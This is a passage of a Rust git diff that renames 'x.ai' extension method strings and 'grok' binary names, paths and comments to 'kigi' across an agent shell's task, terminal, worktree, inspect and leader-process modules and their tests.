-use kigi_tools::implementations::grok_build::task::types::{
+use kigi_tools::implementations::kigi::task::types::{
     SubagentCancelOutcome, SubagentSnapshot, SubagentSnapshotStatus,
 };
 
@@ -12,7 +12,7 @@ use crate::session::ExtMethodResult;
 
 type ExtResult = Result<acp::ExtResponse, acp::Error>;
 
-/// Wire DTO for the `x.ai/task/kill` ext request.
+/// Wire DTO for the `kigi/task/kill` ext request.
 ///
 /// `pub` (with both serde directions) so ACP clients (kigi-tui) build
 /// the request from the same type the agent parses — keeping the wire
@@ -24,7 +24,7 @@ pub struct KillTaskRequest {
     pub task_id: String,
 }
 
-/// Wire DTO for the `x.ai/task/kill` ext response payload (nested under
+/// Wire DTO for the `kigi/task/kill` ext response payload (nested under
 /// `result` in the `ExtMethodResult` envelope).
 ///
 /// `pub` (with both serde directions) so ACP clients deserialize the typed
@@ -48,7 +48,7 @@ struct ListTasksResponse {
     tasks: Vec<TaskSnapshot>,
 }
 
-/// Wire DTO for the `x.ai/subagent/cancel` ext request.
+/// Wire DTO for the `kigi/subagent/cancel` ext request.
 ///
 /// `pub` (with both serde directions) so ACP clients (kigi-tui) build
 /// the request from the same type the agent parses.
@@ -94,7 +94,7 @@ impl From<SubagentCancelOutcome> for SubagentCancelOutcomeDto {
     }
 }
 
-/// Wire DTO for the `x.ai/subagent/cancel` response payload (under `result` in
+/// Wire DTO for the `kigi/subagent/cancel` response payload (under `result` in
 /// the `ExtMethodResult` envelope). `pub` + both serde dirs so clients read it typed.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
@@ -328,7 +328,7 @@ fn respond<T: Serialize>(result: Result<T, impl std::fmt::Display>) -> ExtResult
 
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/task/kill" => {
+        "kigi/task/kill" => {
             let req: KillTaskRequest = parse(args)?;
             let result = agent
                 .kill_background_task(&req.session_id, &req.task_id)
@@ -339,7 +339,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
                 });
             respond(result)
         }
-        "x.ai/task/list" => {
+        "kigi/task/list" => {
             let req: ListTasksRequest = parse(args)?;
             let result = agent
                 .list_tasks(&req.session_id)
@@ -368,10 +368,10 @@ struct DeleteScheduledTaskResponse {
     deleted: bool,
 }
 
-/// Handle `x.ai/scheduler/*` extension methods.
+/// Handle `kigi/scheduler/*` extension methods.
 pub async fn handle_scheduler(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/scheduler/delete" => {
+        "kigi/scheduler/delete" => {
             let req: DeleteScheduledTaskRequest = parse(args)?;
             let result = agent
                 .delete_scheduled_task(&req.session_id, &req.task_id)
@@ -386,10 +386,10 @@ pub async fn handle_scheduler(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtRe
     }
 }
 
-/// Handle `x.ai/subagent/*` extension methods.
+/// Handle `kigi/subagent/*` extension methods.
 pub async fn handle_subagent(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/subagent/cancel" => {
+        "kigi/subagent/cancel" => {
             let req: CancelSubagentRequest = parse(args)?;
             tracing::info!(subagent_id = %req.subagent_id, "Cancelling subagent via ext method");
             let outcome = SubagentCancelOutcomeDto::from(agent.cancel_subagent(&req.subagent_id));
@@ -399,7 +399,7 @@ pub async fn handle_subagent(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtRes
                 outcome: Some(outcome),
             }))
         }
-        "x.ai/subagent/get" => {
+        "kigi/subagent/get" => {
             let req: GetSubagentRequest = parse(args)?;
             let block = req.block.unwrap_or(false);
             let timeout_ms = req.timeout_ms.unwrap_or(30_000);
@@ -442,7 +442,7 @@ pub async fn handle_subagent(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtRes
                 }))
             }
         }
-        "x.ai/subagent/list_running" => {
+        "kigi/subagent/list_running" => {
             let req: ListRunningSubagentsRequest = parse(args)?;
             // Sync: collect seeds from coordinator, drop borrow.
             let seeds = agent.list_running_subagents(&req.session_id);
@@ -956,7 +956,7 @@ mod tests {
         assert_eq!(json["forkParentPromptId"], "prompt-5");
     }
 
-    // ── x.ai/subagent/cancel outcome wire DTO ──────────────────────────
+    // ── kigi/subagent/cancel outcome wire DTO ──────────────────────────
 
     #[test]
     fn subagent_cancel_outcome_dto_maps_from_coordinator_outcome() {
diff --git a/crates/codegen/kigi-shell/src/extensions/terminal.rs b/crates/codegen/kigi-shell/src/extensions/terminal.rs
index fd9797c..1264998 100644
--- a/crates/codegen/kigi-shell/src/extensions/terminal.rs
+++ b/crates/codegen/kigi-shell/src/extensions/terminal.rs
@@ -184,7 +184,7 @@ impl From<KillOutcome> for KillOutcomeResponse {
 
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/terminal/create" => {
+        "kigi/terminal/create" => {
             let req: CreateTerminalRequest = parse(args)?;
             let env: HashMap<String, String> = req
                 .env
@@ -206,7 +206,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
             respond(result)
         }
 
-        "x.ai/terminal/kill" => {
+        "kigi/terminal/kill" => {
             // Try PTY registry first, then piped terminal registry.
             let req: KillTerminalRequest = parse(args)?;
 
@@ -249,7 +249,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
             }
         }
 
-        "x.ai/terminal/output" => {
+        "kigi/terminal/output" => {
             let req: TerminalIdRequest = parse(args)?;
             let result = terminal::get_terminal_output(&req.session_id, &req.terminal_id)
                 .await
@@ -258,7 +258,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
             respond(result)
         }
 
-        "x.ai/terminal/wait_for_exit" => {
+        "kigi/terminal/wait_for_exit" => {
             let req: TerminalIdRequest = parse(args)?;
             let result = terminal::wait_for_terminal_exit(&req.session_id, &req.terminal_id)
                 .await
@@ -267,7 +267,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
             respond(result)
         }
 
-        "x.ai/terminal/release" => {
+        "kigi/terminal/release" => {
             let req: TerminalIdRequest = parse(args)?;
             terminal::release_terminal(&req.session_id, &req.terminal_id).await;
             ExtMethodResult::success(ReleaseTerminalResponse {})
@@ -275,7 +275,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))
         }
 
-        "x.ai/terminal/background" => {
+        "kigi/terminal/background" => {
             // Mark a terminal as backgrounded - the process keeps running but
             // waiting callers are notified so the agent can continue.
             //
@@ -292,7 +292,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))
         }
 
-        "x.ai/terminal/pty/create" => {
+        "kigi/terminal/pty/create" => {
             let req: PtyCreateRequest = parse(args)?;
             let env: HashMap<String, String> = req
                 .env
@@ -323,7 +323,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
             respond_pty(result)
         }
 
-        "x.ai/terminal/pty/load" => {
+        "kigi/terminal/pty/load" => {
             let req: PtyLoadRequest = parse(args)?;
             let target_client_id = req.meta.map(|m| m.client_id).unwrap_or_default();
             let result =
@@ -332,14 +332,14 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
             respond_pty(result)
         }
 
-        "x.ai/terminal/pty/resize" => {
+        "kigi/terminal/pty/resize" => {
             let req: PtyResizeRequest = parse(args)?;
             respond_pty(
                 terminal::pty_session::resize_pty(&req.terminal_id, req.rows, req.cols).await,
             )
         }
 
-        "x.ai/terminal/list" => {
+        "kigi/terminal/list" => {
             let terminals = terminal::list_terminals().await;
             respond(Ok::<_, String>(TerminalListResponse { terminals }))
         }
diff --git a/crates/codegen/kigi-shell/src/extensions/worktree.rs b/crates/codegen/kigi-shell/src/extensions/worktree.rs
index 3b5fa5b..4b5db50 100644
--- a/crates/codegen/kigi-shell/src/extensions/worktree.rs
+++ b/crates/codegen/kigi-shell/src/extensions/worktree.rs
@@ -1,4 +1,4 @@
-//! Handler for x.ai/git/worktree/* extension methods.
+//! Handler for kigi/git/worktree/* extension methods.
 
 use agent_client_protocol as acp;
 use kigi_acp_lib::AcpAgentGatewaySender as GatewaySender;
@@ -34,7 +34,7 @@ impl WorktreeNotificationSender for GatewayWorktreeNotifier {
                 return;
             }
         };
-        let notification = acp::ExtNotification::new("x.ai/git/worktree/status", params.into());
+        let notification = acp::ExtNotification::new("kigi/git/worktree/status", params.into());
         if let Err(e) = self.gateway.send(notification).await {
             tracing::warn!("Failed to send worktree progress notification: {}", e);
         }
@@ -155,7 +155,7 @@ pub async fn handle(
     let restore_code_default = agent.restore_code;
 
     match args.method.as_ref() {
-        "x.ai/git/worktree/create" => {
+        "kigi/git/worktree/create" => {
             let mut req = serde_json::from_str::<CreateWorktreeRequest>(args.params.get())?;
             // Pre-dispatch: apply worktree_type default
             let request_worktree_type = req.worktree_type;
@@ -163,7 +163,7 @@ pub async fn handle(
                 req.worktree_type = Some(worktree_type_default.into());
             }
             log_effective_worktree_type(
-                "x.ai/git/worktree/create",
+                "kigi/git/worktree/create",
                 request_worktree_type,
                 worktree_type_default,
                 req.worktree_type.unwrap_or(worktree_type_default.into()),
@@ -187,7 +187,7 @@ pub async fn handle(
             }
             to_response(Ok(result))
         }
-        "x.ai/git/worktree/remove" => {
+        "kigi/git/worktree/remove" => {
             let req = serde_json::from_str::<RemoveWorktreeRequest>(args.params.get())?;
             let result = ops
                 .dispatch(&req, None)
@@ -195,7 +195,7 @@ pub async fn handle(
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))?;
             to_response(Ok(result))
         }
-        "x.ai/git/worktree/apply" => {
+        "kigi/git/worktree/apply" => {
             let req = serde_json::from_str::<ApplyWorktreeRequest>(args.params.get())?;
             let result = ops
                 .dispatch(&req, None)
@@ -204,7 +204,7 @@ pub async fn handle(
             to_response(Ok(result))
         }
         // Create a worktree from an existing worktree (used during session fork)
-        "x.ai/git/worktree/create_from_worktree" => {
+        "kigi/git/worktree/create_from_worktree" => {
             let mut req =
                 serde_json::from_str::<CreateWorktreeFromWorktreeRequest>(args.params.get())?;
             let request_worktree_type = req.worktree_type;
@@ -213,7 +213,7 @@ pub async fn handle(
                 req.worktree_type = Some(worktree_type_default.into());
             }
             log_effective_worktree_type(
-                "x.ai/git/worktree/create_from_worktree",
+                "kigi/git/worktree/create_from_worktree",
                 request_worktree_type,
                 worktree_type_default,
                 req.worktree_type.unwrap_or(worktree_type_default.into()),
@@ -255,7 +255,7 @@ pub async fn handle(
             to_response(Ok(response))
         }
         // Synchronous variant - waits for worktree creation to complete
-        "x.ai/git/worktree/create_from_worktree_sync" => {
+        "kigi/git/worktree/create_from_worktree_sync" => {
             let mut req =
                 serde_json::from_str::<CreateWorktreeFromWorktreeRequest>(args.params.get())?;
 
@@ -293,7 +293,7 @@ pub async fn handle(
                 req.worktree_type = Some(worktree_type_default.into());
             }
             log_effective_worktree_type(
-                "x.ai/git/worktree/create_from_worktree_sync",
+                "kigi/git/worktree/create_from_worktree_sync",
                 request_worktree_type,
                 worktree_type_default,
                 req.worktree_type.unwrap_or(worktree_type_default.into()),
@@ -310,10 +310,10 @@ pub async fn handle(
             to_response(Ok(result))
         }
         // Resume a session in a fresh worktree.
-        "x.ai/git/worktree/resume_session" => {
+        "kigi/git/worktree/resume_session" => {
             let req = serde_json::from_str::<ResumeSessionInWorktreeRequest>(args.params.get())?;
             log_effective_worktree_type(
-                "x.ai/git/worktree/resume_session",
+                "kigi/git/worktree/resume_session",
                 req.worktree_type,
                 worktree_type_default,
                 req.worktree_type.unwrap_or(worktree_type_default.into()),
@@ -335,7 +335,7 @@ pub async fn handle(
             )
         }
         // ── Repo-wide session resolution ─────────────────────────────────
-        "x.ai/session/resolve_local_for_worktree_resume" => {
+        "kigi/session/resolve_local_for_worktree_resume" => {
             let req =
                 serde_json::from_str::<ResolveLocalForWorktreeResumeRequest>(args.params.get())?;
             let result = resolve_session_repo_wide(&req.session_id, std::path::Path::new(&req.cwd));
@@ -359,14 +359,14 @@ pub async fn handle(
             }
         }
         // ── Session rehydration (devbox recovery) ─────────────────────────
-        "x.ai/session/rehydrate" => {
+        "kigi/session/rehydrate" => {
             let req = serde_json::from_str::<RehydrateSessionRequest>(args.params.get())?;
             let registry_client = agent.session_registry_client();
 
             to_response(rehydrate_session_in_worktree(&req, ops, registry_client.as_ref()).await)
         }
         // ── Worktree management methods ──────────────────────────────────
-        "x.ai/git/worktree/list" => {
+        "kigi/git/worktree/list" => {
             let req: kigi_workspace::workspace_ops::WorktreeListReq =
                 serde_json::from_str(args.params.get())
                     .map_err(|e| acp::Error::internal_error().data(e.to_string()))?;
@@ -376,7 +376,7 @@ pub async fn handle(
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))?;
             to_response(Ok(result))
         }
-        "x.ai/git/worktree/show" => {
+        "kigi/git/worktree/show" => {
             let req = serde_json::from_str::<ShowWorktreeRequest>(args.params.get())?;
             let op = kigi_workspace::workspace_ops::WorktreeShowReq {
                 id_or_path: req.id_or_path,
@@ -387,7 +387,7 @@ pub async fn handle(
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))?;
             to_response(Ok(result))
         }
-        "x.ai/git/worktree/gc" => {
+        "kigi/git/worktree/gc" => {
             let req = serde_json::from_str::<GcWorktreeRequest>(args.params.get())?;
             let max_age_secs = req.max_age.as_deref().map(parse_duration).transpose()?;
             let op = kigi_workspace::workspace_ops::WorktreeGcReq {
@@ -401,14 +401,14 @@ pub async fn handle(
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))?;
             to_response(Ok(result))
         }
-        "x.ai/git/worktree/db/stats" => {
+        "kigi/git/worktree/db/stats" => {
             let result = ops
                 .dispatch(&kigi_workspace::workspace_ops::WorktreeDbStatsReq {}, None)
                 .await
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))?;
             to_response(Ok(result))
         }
-        "x.ai/git/worktree/db/rebuild" => {
+        "kigi/git/worktree/db/rebuild" => {
             let result = ops
                 .dispatch(
                     &kigi_workspace::workspace_ops::WorktreeDbRebuildReq {},
@@ -418,7 +418,7 @@ pub async fn handle(
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))?;
             to_response(Ok(result))
         }
-        "x.ai/git/worktree/db/path" => {
+        "kigi/git/worktree/db/path" => {
             let result = ops
                 .dispatch(&kigi_workspace::workspace_ops::WorktreeDbPathReq {}, None)
                 .await
diff --git a/crates/codegen/kigi-shell/src/inspect/compat.rs b/crates/codegen/kigi-shell/src/inspect/compat.rs
index 40c2996..f5a4291 100644
--- a/crates/codegen/kigi-shell/src/inspect/compat.rs
+++ b/crates/codegen/kigi-shell/src/inspect/compat.rs
@@ -1,4 +1,4 @@
-//! Vendor-compat resolution for `grok inspect`.
+//! Vendor-compat resolution for `kigi inspect`.
 //!
 //! Resolves the local env/config/default stack into a diagnostic report.
 
diff --git a/crates/codegen/kigi-shell/src/inspect/mod.rs b/crates/codegen/kigi-shell/src/inspect/mod.rs
index 19cfca2..b0bae57 100644
--- a/crates/codegen/kigi-shell/src/inspect/mod.rs
+++ b/crates/codegen/kigi-shell/src/inspect/mod.rs
@@ -1,6 +1,6 @@
-//! `grok inspect` — configuration introspection.
+//! `kigi inspect` — configuration introspection.
 //!
-//! Shows everything Grok discovers in the current directory: project
+//! Shows everything Kigi discovers in the current directory: project
 //! instructions, permissions, hooks, skills, agents, plugins, MCP servers,
 //! LSP config, and config.toml sources. Supports `--json` for machine output.
 
@@ -249,7 +249,7 @@ pub struct ConfigSources {
     pub layers: Vec<ConfigLayer>,
 }
 
-/// A single config layer entry for `grok inspect`.
+/// A single config layer entry for `kigi inspect`.
 #[derive(Debug, Clone, Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ConfigLayer {
@@ -503,7 +503,7 @@ async fn list_instructions(cwd: &Path) -> Vec<InstructionFile> {
 }
 
 /// Calls the production permission resolver (`resolve_permissions_with_provenance`)
-/// which handles both Grok TOML and vendor settings fallback in one codepath.
+/// which handles both Kigi TOML and vendor settings fallback in one codepath.
 async fn list_permissions(cwd: &Path) -> PermissionsReport {
     use kigi_workspace::permission::resolution;
 
@@ -733,7 +733,7 @@ async fn list_skills(
 /// stays non-bundled. Runtime discovery scopes/precedence are untouched.
 ///
 /// `Bundled`/`Server` sources are constructed only here, never by runtime
-/// discovery: deployed pagers parse `x.ai/skills/list` into a typed
+/// discovery: deployed pagers parse `kigi/skills/list` into a typed
 /// `ConfigSource` and reject unknown tags, so runtime stamping must wait
 /// until clients without these variants have aged out. Until then this
 /// mapping is the single owner of the scope→source translation.
@@ -924,7 +924,7 @@ fn list_lsp_servers(
     // Folder-trust gate (display-only): inspect never spawns servers, but mark the
     // repo-local (project-scoped) entries a session would skip in an untrusted
     // clone so the listing matches the live gate. `remote = None` mirrors
-    // `grok mcp doctor` (no loaded RemoteSettings in a standalone command).
+    // `kigi mcp doctor` (no loaded RemoteSettings in a standalone command).
     crate::agent::folder_trust::resolve_and_record(cwd, None, false);
     let project_allowed = crate::agent::folder_trust::project_scope_allowed(cwd);
 
@@ -1359,7 +1359,7 @@ fn print_human(r: &InspectReport) {
     if r.mcp_servers.is_empty() {
         println!();
         println!("  MCP Servers (0)");
-        println!("  {TREE} (none) \u{2014} see `grok mcp add --help`");
+        println!("  {TREE} (none) \u{2014} see `kigi mcp add --help`");
     } else {
         print_columns(
             "MCP Servers",
@@ -1663,8 +1663,8 @@ mod tests {
     fn model_override_warnings_inspect_smoke() {
         let effective: toml::Value = toml::from_str(
             r#"
-            [model."grok-4.5"]
-            model = "grok-4.5"
+            [model."kigi-4.5"]
+            model = "kigi-4.5"
             env_key = "ANTHROPIC_AUTH_TOKEN"
             compactions_remaining = 1
             send_compactions_remaining = true
@@ -1686,16 +1686,16 @@ mod tests {
                 .any(|w| w.field.as_deref() == Some("reasoning_effort")),
             "invalid enum should warn: {warnings:?}"
         );
-        assert!(cfg.config_models.contains_key("grok-4.5"));
+        assert!(cfg.config_models.contains_key("kigi-4.5"));
 
         let human = render_model_override_warnings(&warnings);
         assert!(human.contains("Model Overrides"), "{human}");
         assert!(
-            human.contains("[model.\"grok-4.5\"] send_compactions_remaining"),
+            human.contains("[model.\"kigi-4.5\"] send_compactions_remaining"),
             "{human}"
         );
         assert!(
-            human.contains("[model.\"grok-4.5\"] reasoning_effort"),
+            human.contains("[model.\"kigi-4.5\"] reasoning_effort"),
             "{human}"
         );
         assert_eq!(render_model_override_warnings(&[]), "");
@@ -1707,7 +1707,7 @@ mod tests {
             .iter()
             .find(|w| w["field"] == "send_compactions_remaining")
             .expect("alias warning present in JSON");
-        assert_eq!(alias_warning["modelKey"], "grok-4.5");
+        assert_eq!(alias_warning["modelKey"], "kigi-4.5");
         assert_eq!(alias_warning["kind"], "duplicate-alias");
         assert!(
             alias_warning["reason"]
diff --git a/crates/codegen/kigi-shell/src/leader/lock.rs b/crates/codegen/kigi-shell/src/leader/lock.rs
index cc58bff..60e130a 100644
--- a/crates/codegen/kigi-shell/src/leader/lock.rs
+++ b/crates/codegen/kigi-shell/src/leader/lock.rs
@@ -56,7 +56,7 @@ pub fn default_lock_path_in(root: &Path) -> PathBuf {
 }
 
 /// Effective leader lock path: the [`LEADER_SOCKET_ENV`] override's sibling
-/// `.lock` when set, else the default under grok home.
+/// `.lock` when set, else the default under kigi home.
 pub fn default_lock_path() -> PathBuf {
     resolve_lock_path(leader_socket_override(), &kigi_home())
 }
@@ -67,7 +67,7 @@ pub fn default_socket_path_in(root: &Path) -> PathBuf {
 }
 
 /// Effective leader socket path: the [`LEADER_SOCKET_ENV`] override when set,
-/// else the default under grok home.
+/// else the default under kigi home.
 pub fn default_socket_path() -> PathBuf {
     resolve_socket_path(leader_socket_override(), &kigi_home())
 }
@@ -131,7 +131,7 @@ pub struct LeaderLock {
 }
 
 impl LeaderLock {
-    /// Create a new LeaderLock using the default paths in grok home
+    /// Create a new LeaderLock using the default paths in kigi home
     /// (or the [`LEADER_SOCKET_ENV`] override when set).
     pub fn new() -> Self {
         Self {
diff --git a/crates/codegen/kigi-shell/src/leader/mod.rs b/crates/codegen/kigi-shell/src/leader/mod.rs
index e4637a5..a23b9ab 100644
--- a/crates/codegen/kigi-shell/src/leader/mod.rs
+++ b/crates/codegen/kigi-shell/src/leader/mod.rs
@@ -1,4 +1,4 @@
-//! Leader-follower IPC architecture for grok-shell.
+//! Leader-follower IPC architecture for kigi-shell.
 //!
 //! This module implements a single-leader-per-machine architecture where one leader
 //! process manages the agent state while multiple clients (TUI, IDE extensions, headless)
@@ -40,7 +40,7 @@
 //! // Connect to existing leader or spawn a new one
 //! let caps = ClientCapabilities {
 //!     yolo_mode: true,
-//!     default_model: Some("grok-3-fast".to_string()),
+//!     default_model: Some("kigi-3-fast".to_string()),
 //! };
 //! let conn = connect_or_spawn("my-client", ClientMode::Stdio, caps).await?;
 //!
@@ -106,7 +106,7 @@ fn should_evict(leader_version: Option<&str>, client_version: &str) -> bool {
 const RECONNECT_BASE_DELAY: Duration = Duration::from_secs(1);
 /// Maximum delay between reconnection attempts (caps exponential backoff).
 const RECONNECT_MAX_DELAY: Duration = Duration::from_secs(30);
-/// Maximum reconnection attempts for bounded mode (headless/`grok -p`).
+/// Maximum reconnection attempts for bounded mode (headless/`kigi -p`).
 /// TUI mode uses unlimited retries controlled by a cancellation token.
 const RECONNECT_MAX_ATTEMPTS_BOUNDED: u32 = 5;
 #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
@@ -228,7 +228,7 @@ fn build_live_leader_info(payload: ControlPayload) -> Result<LiveLeaderInfo, Lea
 async fn fetch_live_leader_info(socket_path: &Path) -> Result<LiveLeaderInfo, LeaderTargetError> {
     let client = LeaderClient::connect(
         socket_path.to_path_buf(),
-        "grok-leader-discovery",
+        "kigi-leader-discovery",
         ClientMode::Stdio,
         ClientCapabilities::default(),
     )
@@ -805,7 +805,7 @@ pub enum ReconnectPolicy {
     /// Suitable for interactive TUI sessions where the user expects persistence.
     Unbounded,
     /// Retry up to a fixed number of attempts, then fail.
-    /// Suitable for headless/`grok -p` where hanging forever is unacceptable.
+    /// Suitable for headless/`kigi -p` where hanging forever is unacceptable.
     Bounded { max_attempts: u32 },
 }
 impl ReconnectPolicy {
@@ -831,7 +831,7 @@ impl ReconnectPolicy {
 /// ```ignore
 /// let (status_tx, status_rx) = LeaderReconnector::status_channel();
 /// let reconnector = LeaderReconnector::new(
-///     "grok-tui", ClientMode::Stdio, caps, status_tx,
+///     "kigi-tui", ClientMode::Stdio, caps, status_tx,
 /// );
 ///
 /// // When connection dies:
@@ -1112,7 +1112,7 @@ async fn evict_leader(conn: LeaderConnection, lock: &LeaderLock) {
 ///
 /// # Arguments
 ///
-/// * `client_type` - Identifier for the client type (e.g., "grok-tui", "vscode")
+/// * `client_type` - Identifier for the client type (e.g., "kigi-tui", "vscode")
 /// * `mode` - Communication mode (Stdio)
 /// * `capabilities` - Client capabilities (e.g., yolo_mode) to register with the leader
 pub async fn connect_or_spawn(
@@ -1248,8 +1248,8 @@ pub async fn connect_or_spawn(
 /// Resolve the binary to spawn as the leader subprocess.
 ///
 /// For a **managed install** — the running binary lives under `kigi_home`
-/// (e.g. `~/.kigi/...`) — prefer the managed `~/.kigi/bin/grok` symlink. After an
-/// auto-update or `grok update` atomically swaps that symlink, `current_exe()`
+/// (e.g. `~/.kigi/...`) — prefer the managed `~/.kigi/bin/kigi` symlink. After an
+/// auto-update or `kigi update` atomically swaps that symlink, `current_exe()`
 /// still resolves (via `/proc/self/exe` on Linux) to the *old* versioned target,
 /// so spawning it would relaunch the stale binary. The symlink always points to
 /// the freshly-installed version. This mirrors
@@ -1259,23 +1259,23 @@ pub async fn connect_or_spawn(
 /// not under `kigi_home`), keep `current_exe()` so the spawned leader matches the
 /// calling binary.
 ///
-/// Falls back to `~/.kigi/bin/grok` only when `current_exe()` is unavailable.
+/// Falls back to `~/.kigi/bin/kigi` only when `current_exe()` is unavailable.
 fn resolve_exe_for_spawn() -> Result<std::path::PathBuf, ConnectionError> {
     resolve_binary_with_home(&crate::util::kigi_home::kigi_home())
 }
 fn resolve_binary_with_home(kigi_home: &Path) -> Result<std::path::PathBuf, ConnectionError> {
     resolve_binary_impl(kigi_home, std::env::current_exe().ok())
 }
-/// Binary file name for the managed grok install (`grok` / `grok.exe`).
-fn managed_grok_bin_name() -> &'static str {
-    if cfg!(windows) { "grok.exe" } else { "grok" }
+/// Binary file name for the managed kigi install (`kigi` / `kigi.exe`).
+fn managed_kigi_bin_name() -> &'static str {
+    if cfg!(windows) { "kigi.exe" } else { "kigi" }
 }
 /// Core leader-binary resolution with the current-exe path injected, for testability.
 fn resolve_binary_impl(
     kigi_home: &Path,
     current_exe: Option<std::path::PathBuf>,
 ) -> Result<std::path::PathBuf, ConnectionError> {
-    let managed_bin = kigi_home.join("bin").join(managed_grok_bin_name());
+    let managed_bin = kigi_home.join("bin").join(managed_kigi_bin_name());
     if let Some(ref exe) = current_exe
         && path_is_under(exe, kigi_home)
         && managed_bin.exists()
@@ -1992,7 +1992,7 @@ mod tests {
         let temp = TempDir::new().unwrap();
         let bin_dir = temp.path().join("bin");
         std::fs::create_dir_all(&bin_dir).unwrap();
-        std::fs::write(bin_dir.join("grok"), "fake-binary").unwrap();
+        std::fs::write(bin_dir.join("kigi"), "fake-binary").unwrap();
         let result = resolve_binary_with_home(temp.path()).unwrap();
         let current = std::env::current_exe().unwrap();
         assert_eq!(result, current);
@@ -2009,9 +2009,9 @@ mod tests {
         let temp = TempDir::new().unwrap();
         let bin_dir = temp.path().join("bin");
         std::fs::create_dir_all(&bin_dir).unwrap();
-        let target_v2 = bin_dir.join("grok-v2");
+        let target_v2 = bin_dir.join("kigi-v2");
         std::fs::write(&target_v2, "new-binary").unwrap();
-        std::os::unix::fs::symlink(&target_v2, bin_dir.join("grok")).unwrap();
+        std::os::unix::fs::symlink(&target_v2, bin_dir.join("kigi")).unwrap();
         let result = resolve_binary_with_home(temp.path()).unwrap();
         let current = std::env::current_exe().unwrap();
         assert_eq!(result, current);
@@ -2022,11 +2022,11 @@ mod tests {
         let temp = TempDir::new().unwrap();
         let bin_dir = temp.path().join("bin");
         std::fs::create_dir_all(&bin_dir).unwrap();
-        let new_target = bin_dir.join("grok-v2");
+        let new_target = bin_dir.join("kigi-v2");
         std::fs::write(&new_target, "new-binary").unwrap();
-        let managed = bin_dir.join("grok");
+        let managed = bin_dir.join("kigi");
         std::os::unix::fs::symlink(&new_target, &managed).unwrap();
-        let stale_target = bin_dir.join("grok-v1");
+        let stale_target = bin_dir.join("kigi-v1");
         std::fs::write(&stale_target, "old-binary").unwrap();
         let result = resolve_binary_impl(temp.path(), Some(stale_target)).unwrap();
         assert_eq!(result, managed);
@@ -2036,7 +2036,7 @@ mod tests {
         let temp = TempDir::new().unwrap();
         let bin_dir = temp.path().join("bin");
         std::fs::create_dir_all(&bin_dir).unwrap();
-        std::fs::write(bin_dir.join(managed_grok_bin_name()), "managed").unwrap();
+        std::fs::write(bin_dir.join(managed_kigi_bin_name()), "managed").unwrap();
         let dev_exe = std::env::current_exe().unwrap();
         let result = resolve_binary_impl(temp.path(), Some(dev_exe.clone())).unwrap();
         assert_eq!(result, dev_exe);
@@ -2046,7 +2046,7 @@ mod tests {
         let temp = TempDir::new().unwrap();
         let bin_dir = temp.path().join("bin");
         std::fs::create_dir_all(&bin_dir).unwrap();
-        let managed = bin_dir.join(managed_grok_bin_name());
+        let managed = bin_dir.join(managed_kigi_bin_name());
         std::fs::write(&managed, "managed").unwrap();
         let result = resolve_binary_impl(temp.path(), None).unwrap();
         assert_eq!(result, managed);
diff --git a/crates/codegen/kigi-shell/src/leader/protocol.rs b/crates/codegen/kigi-shell/src/leader/protocol.rs
index 3f5682b..6756503 100644
--- a/crates/codegen/kigi-shell/src/leader/protocol.rs
+++ b/crates/codegen/kigi-shell/src/leader/protocol.rs
@@ -108,7 +108,7 @@ impl Default for ClientId {
 #[derive(Debug, Clone, Copy, PartialEq, Eq, serde::Serialize, serde::Deserialize)]
 #[serde(rename_all = "snake_case")]
 pub enum ClientMode {
-    /// Stdio mode (grok agent stdio, grok -p) - uses local IPC.
+    /// Stdio mode (kigi agent stdio, kigi -p) - uses local IPC.
     /// Client sends/receives ACP messages directly via IPC.
     Stdio,
 }
@@ -143,7 +143,7 @@ pub struct ClientCapabilities {
     #[serde(default)]
     pub client_version: Option<String>,
 
-    /// Whether this client has advertised `x.ai/codeNavigation.enabled`.
+    /// Whether this client has advertised `kigi/codeNavigation.enabled`.
     /// When true, the leader injects `codeNavEnabled: true` into `session/new`
     /// and `session/load` requests so the agent can gate code-nav startup on a
     /// per-client basis rather than reading from shared last-initialized state.
@@ -177,7 +177,7 @@ pub struct LeaderCapabilities {
     pub profile_formats: Vec<ProfileArtifactFormat>,
     /// Whether the leader supports [`ControlCommand::RelaunchForUpdate`] — a
     /// disruptive, bounded-grace relaunch onto a freshly-installed binary
-    /// (driven by `grok update`). Old leaders default to `false`, so a new
+    /// (driven by `kigi update`). Old leaders default to `false`, so a new
     /// client falls back to advising a manual restart (graceful degradation).
     #[serde(default)]
     pub relaunch_v1: bool,
@@ -196,12 +196,12 @@ pub enum ControlCommand {
     },
     StopCpuProfile,
     /// Ask the leader to relaunch onto a freshly-installed binary (driven by
-    /// `grok update`). The leader stops admitting new turns, waits a bounded
